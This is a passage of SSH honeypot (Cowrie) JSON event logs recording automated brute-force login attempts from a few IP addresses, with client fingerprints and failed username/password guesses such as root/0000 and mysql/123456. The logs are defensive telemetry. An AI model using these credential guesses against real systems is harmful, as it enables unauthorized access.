s256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:03.553730Z","src_ip":"176.65.139.95","session":"e1de70b46248","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:03.826395Z","src_ip":"176.65.139.95","session":"e1de70b46248","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55640,"dst_ip":"159.203.135.109","dst_port":22,"session":"39e73edcf3a5","protocol":"ssh","message":"New connection: 192.109.200.78:55640 (159.203.135.109:22) [session: 39e73edcf3a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:04.184355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:04.188947Z","src_ip":"192.109.200.78","session":"39e73edcf3a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:04.273056Z","src_ip":"192.109.200.78","session":"39e73edcf3a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omid","password":"omid","message":"login attempt [omid/omid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:04.522168Z","src_ip":"192.109.200.78","session":"39e73edcf3a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:04.926865Z","src_ip":"176.65.139.95","session":"e1de70b46248","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:05.762678Z","src_ip":"192.109.200.78","session":"39e73edcf3a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39158,"dst_ip":"159.203.135.109","dst_port":22,"session":"da80b9ef9373","protocol":"ssh","message":"New connection: 192.109.200.78:39158 (159.203.135.109:22) [session: da80b9ef9373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:08.475475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:08.480128Z","src_ip":"192.109.200.78","session":"da80b9ef9373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:08.563580Z","src_ip":"192.109.200.78","session":"da80b9ef9373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:08.813007Z","src_ip":"192.109.200.78","session":"da80b9ef9373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59714,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbefcefd591e","protocol":"ssh","message":"New connection: 176.65.139.95:59714 (159.203.135.109:22) [session: bbefcefd591e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:09.443727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:09.454814Z","src_ip":"176.65.139.95","session":"bbefcefd591e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:09.646007Z","src_ip":"176.65.139.95","session":"bbefcefd591e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:09.899566Z","src_ip":"192.109.200.78","session":"da80b9ef9373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"palworld","password":"palworld","message":"login attempt [palworld/palworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:10.144952Z","src_ip":"176.65.139.95","session":"bbefcefd591e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:11.235529Z","src_ip":"176.65.139.95","session":"bbefcefd591e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39178,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d388c9fa24b","protocol":"ssh","message":"New connection: 192.109.200.78:39178 (159.203.135.109:22) [session: 1d388c9fa24b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:12.695233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:12.699714Z","src_ip":"192.109.200.78","session":"1d388c9fa24b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:12.782567Z","src_ip":"192.109.200.78","session":"1d388c9fa24b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:13.032972Z","src_ip":"192.109.200.78","session":"1d388c9fa24b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41978,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bf668986828","protocol":"ssh","message":"New connection: 159.203.92.129:41978 (159.203.135.109:22) [session: 5bf668986828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:13.595115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:13.600487Z","src_ip":"159.203.92.129","session":"5bf668986828","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:13.605021Z","src_ip":"159.203.92.129","session":"5bf668986828","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Log","password":"123456","message":"login attempt [Log/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:13.615216Z","src_ip":"159.203.92.129","session":"5bf668986828","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:14.117528Z","src_ip":"192.109.200.78","session":"1d388c9fa24b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:14.621751Z","src_ip":"159.203.92.129","session":"5bf668986828","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59744,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf4d0aafe3d8","protocol":"ssh","message":"New connection: 176.65.139.95:59744 (159.203.135.109:22) [session: cf4d0aafe3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:15.665211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:15.746564Z","src_ip":"176.65.139.95","session":"cf4d0aafe3d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:15.848948Z","src_ip":"176.65.139.95","session":"cf4d0aafe3d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123","message":"login attempt [ftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:16.301865Z","src_ip":"176.65.139.95","session":"cf4d0aafe3d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39196,"dst_ip":"159.203.135.109","dst_port":22,"session":"81bd7e1842c1","protocol":"ssh","message":"New connection: 192.109.200.78:39196 (159.203.135.109:22) [session: 81bd7e1842c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:16.603050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:16.610001Z","src_ip":"192.109.200.78","session":"81bd7e1842c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:16.686939Z","src_ip":"192.109.200.78","session":"81bd7e1842c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:17.007135Z","src_ip":"192.109.200.78","session":"81bd7e1842c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:17.396884Z","src_ip":"176.65.139.95","session":"cf4d0aafe3d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:18.092987Z","src_ip":"192.109.200.78","session":"81bd7e1842c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40870,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a20e835189f","protocol":"ssh","message":"New connection: 192.109.200.78:40870 (159.203.135.109:22) [session: 6a20e835189f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:20.809089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:20.813748Z","src_ip":"192.109.200.78","session":"6a20e835189f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:20.899044Z","src_ip":"192.109.200.78","session":"6a20e835189f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chatgpt","password":"chatgpt","message":"login attempt [chatgpt/chatgpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:21.745088Z","src_ip":"192.109.200.78","session":"6a20e835189f","protocol":"ssh"}
